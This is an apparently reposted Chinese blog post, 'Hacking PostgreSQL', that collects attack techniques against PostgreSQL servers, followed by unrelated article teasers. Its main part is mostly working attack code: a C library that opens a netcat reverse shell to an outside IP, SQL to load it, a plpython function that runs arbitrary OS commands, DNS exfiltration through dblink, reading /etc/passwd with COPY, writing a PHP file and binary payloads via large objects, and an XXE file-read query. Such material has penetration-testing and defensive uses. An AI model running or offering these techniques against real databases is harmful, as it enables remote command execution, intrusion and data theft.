Hacking PostgreSQL

Hacking PostgreSQL

作者

digoal

日期

2016-10-18

标签

PostgreSQL , sql注入 , ssrf , PostgreSQL , hacking



本文为基于转载的加工文章,原文地址

http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html

背景

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

SQL 注入

大体上和 MySQL 差不多,有一些变量不一样。

具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。

此外,利用 sqlmap 也是一个不错的方式。

执行命令

C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。

根据官方文档,我们要定义一个 PG_MODULE_MAGIC。

大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

 1 #include "postgres.h"
 2 #include "fmgr.h"
 3 #include <stdlib.h>
 4
 5 #ifdef PG_MODULE_MAGIC
 6 PG_MODULE_MAGIC;
 7 #endif
 8
 9 text *exec()
10 {
11     system("nc -e /bin/bash 10.211.55.2 9999");
12 }

利用如下命令编译 .so 文件:

gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so

在 pgsql 里执行:

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

apt-get install postgresql-plpython-9.1

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。

安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

select system('ls -la');

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

DNS 请求获取数据

同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。

用到的一个扩展叫做 dblink,可以通过如下命令开启:

CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:

SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

远程获取到请求内容:

读写文件

PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;

读取结束后:

DROP TABLE temptable;

新版本则可以直接通过函数或者使用大对象操作接口来读取。

 pg_catalog | pg_read_binary_file       | bytea            | text
 pg_catalog | pg_read_binary_file       | bytea            | text, bigint, bigint
 pg_catalog | pg_read_binary_file       | bytea            | text, bigint, bigint, boolean
 pg_catalog | pg_read_file              | text             | text
 pg_catalog | pg_read_file              | text             | text, bigint, bigint
 pg_catalog | pg_read_file              | text             | text, bigint, bigint, boolean
 pg_catalog | pg_stat_file              | record           | filename text, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT creation timestamp with
 pg_catalog | pg_stat_file              | record           | filename text, missing_ok boolean, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT cre
ation timestamp with time zone, OUT isdir boolean | normal
 pg_catalog | lo_close                                 | integer                  | integer                                                                                                      

 pg_catalog | lo_creat                                 | oid                      | integer                                                                                                      

 pg_catalog | lo_create                                | oid                      | oid                                                                                                          

 pg_catalog | lo_export                                | integer                  | oid, text                                                                                                    

 pg_catalog | lo_from_bytea                            | oid                      | oid, bytea                                                                                                   

 pg_catalog | lo_get                                   | bytea                    | oid                                                                                                          

 pg_catalog | lo_get                                   | bytea                    | oid, bigint, integer                                                                                         

 pg_catalog | lo_import                                | oid                      | text                                                                                                         

 pg_catalog | lo_import                                | oid                      | text, oid                                                                                                    

 pg_catalog | lo_lseek                                 | integer                  | integer, integer, integer                                                                                     

 pg_catalog | lo_lseek64                               | bigint                   | integer, bigint, integer                                                                                     

 pg_catalog | lo_open                                  | integer                  | oid, integer                                                                                                 

 pg_catalog | lo_put                                   | void                     | oid, bigint, bytea                                                                                           

 pg_catalog | lo_tell                                  | integer                  | integer                                                                                                      

 pg_catalog | lo_tell64                                | bigint                   | integer                                                                                                      

 pg_catalog | lo_truncate                              | integer                  | integer, integer                                                                                             

 pg_catalog | lo_truncate64                            | integer                  | integer, bigint                                                                                              

 pg_catalog | lo_unlink                                | integer                  | oid

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。

写 webshell 十分简单,利用:

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

即可写一个文件。

根据疯狗的这一篇帖子:

http://zone.wooyun.org/content/4971

,说是可以利用PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。

实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

其中每一段都要小于等于 2KB,这样就可以成功写入:

XXE

老版本的 PostgreSQL 存在 XXE 漏洞。

具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。

大体就是执行语句:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

可以获取一些数据,也可以进行 SSRF 等。

不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考

1. PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
http://zone.wooyun.org/content/4971

3. PostgreSQL 9.0 Documentation
http://www.postgresql.org/docs/9.0/

4. PostgreSQL (all) error-based XXE 0day
http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html

5. hack 云服务 pdf
pdf

Count

时间: 2024-10-28 14:14:00

Hacking PostgreSQL的相关文章

又来勒索,有完没完 - 数据库安全指南

背景 数据库在一个企业中通常都处于非常核心的位置,数据库安全是一个非常严肃的话题. 从机房.网络.服务器.数据交换设备.操作系统.应用程序.数据库本身,数据库所处的环境非常复杂,安全隐患也非常多. 所以本文将从各个层面帮助大家理解和避免一些常见的安全隐患问题. 本文是PostgreSQL使用安全指导性的文章,涉及详细的用法或原理请参考相关链接. 如何安全的使用PostgreSQL,让用户高枕无忧呢? 可以分为如下几个方面来加固你的数据库. 一.认证安全 认证前的安全,端口暴露度的把握. Post

直播 | 2017年第一届PostgreSQL技术高峰论坛

作为世界上最先进的开源数据库, PostgreSQL市场占有率不断提升.在中国,PostgreSQL发展备受关注,大型互联网公司.软件公司纷纷投入到PostgreSQL的应用开发及内核研究工作中.基于此背景,建立完善的PostgreSQL推进发展机制,形成有序的决议策略,成立有组织有秩序的官方机构势在必行. 2017年4月,由工信部批准,中国开源软件推进联盟PostgreSQL分会宣告成立.从此,PostgreSQL将在政府的支持下迎来突飞猛进的发展.2017年6月21日,第十二届开源中国开源世

PostgreSQL 10.0 preview 性能提升 - radix tree提升字符编码转换性能

标签 PostgreSQL , 10.0 , radix tree , 字符编码转换 背景 PostgreSQL 10.0 使用radix tree提升UTF-8与其他字符编码转换的性能. 编码map文件按新的radix tree编排,性能相比binary search好了很多. Use radix tree for character encoding conversions. author Heikki Linnakangas <heikki.linnakangas@iki.fi> Mon

We can ignore the performance influence when use sync replication in PostgreSQL 9.1

PostgreSQL 9.1 提供了同步复制的能力,但是我一直担心同步复制必将带来较大的性能影响. 下面从单节点,多个异步复制节点,多个复制节点(含同步复制节点):以及同步事务,本地事务,异步事务这几个方面来测试一下同步复制带来的性能影响. 下面是测试过程和测试结果. 首先是测试环境如下 :  服务器配置 :  主库:   8核, 24G, 1块本地SAS10K转硬盘, 1块1GB网卡, x86服务器 standby库1:  8核, 8G,  1块本地SAS10K转硬盘, 1块1GB网卡, x8

空间|时间|对象 圈人 + 目标人群透视 - 暨PostgreSQL 10与Greenplum的对比和选择

标签 PostgreSQL , PostGIS , geohash , brin , gist索引 , Greenplum , HybridDB for PostgreSQL 背景 通常一个人的常驻地可能会包括:家.儿女家.双方父母家.情人.异性伴侣家.公司.商圈若干等. 通过对这些数据的运营,可以实现很多业务需求.例如: 1.寻人 <海量用户实时定位和圈人 - 团圆社会公益系统(位置寻人\圈人)> 2.线下广告投放人群圈选,选址,商圈人群画像. <数据寻龙点穴(空间聚集分析) - 阿里

PostgreSQL 助力企业打开时空之门 - 阿里云(RDS、HybridDB) for PostgreSQL最佳实践

标签 PostgreSQL , Greenplum , 时间 , 空间 , 对象 , 多维透视 , 多维分析 背景 时空数据无处不在,未来空间数据的占比会越来越高,在TP与AP场景的需求也会越来越旺盛. 选址.网格运营 空间数据自动聚集分析:时间+多边形圈人:驻留时间分析:舆情分析:... 室内定位 3D坐标:相对坐标系:+以上:运营活动效果分析报表: 科研 太空探索.测绘.气象.地震预测.溯源 无人驾驶 点云:动态路径规划: 空间调度(菜鸟.饿了么.滴滴.高德.快递...) 实时位置更新:多边

PostgreSQL 电商小需求 - 凑单商品的筛选

标签 PostgreSQL , 电商 , 凑单 , 最佳凑单 , 任意字段组合 背景 电商的促销活动非常多,规则可能比较复杂,要薅羊毛的话,数学可能要比较好才行.因此也出现了大量的导购网站,比如SMZDM. 但是实际上电商里面也有类似的应用,可以智能的分析买家的需求,根据买家的需求.已有的券.购物车,向用户推荐凑单品. 凑单的需求,本质上是多个字段组合搜索的需求. 1.购物车总金额 2.用户标签 3.用户优惠券 4.店铺活动标签 5.商品本身的多种标签 等. 根据规则计算出一些条件,根据这些条件

PostgreSQL 流式统计 - insert on conflict 实现 流式 UV(distinct), min, max, avg, sum, count ...

标签 PostgreSQL , 流式统计 , insert on conflict , count , avg , min , max , sum 背景 流式统计count, avg, min, max, sum等是一个比较有意思的场景,可用于实时大屏,实时绘制统计图表. 比如菜鸟.淘宝.阿里游戏.以及其他业务系统的FEED日志,按各个维度实时统计输出结果.(实时FEED统计,实时各维度在线人数等) PostgreSQL insert on conflict语法以及rule, trigger的功

HybridDB PostgreSQL &quot;Sort、Group、distinct 聚合、JOIN&quot; 不惧怕数据倾斜的黑科技和原理 - 多阶段聚合

标签 PostgreSQL , Greenplum , JOIN , group by , distinct , 聚合 , 非分布键 , 数据倾斜 , 多阶段聚合 背景 对于分布式系统,数据分布存储,例如随机.哈希分布. Greenplum数据库支持两种数据分布模式: 1.哈希(指定单个.或多个字段) 2.随机分布(无需指定任何字段) 数据分布存储后,面临一些挑战: JOIN,排序,group by,distinct. 1.JOIN涉及非分布键字段 2.排序,如何保证输出顺序全局有序 3.gro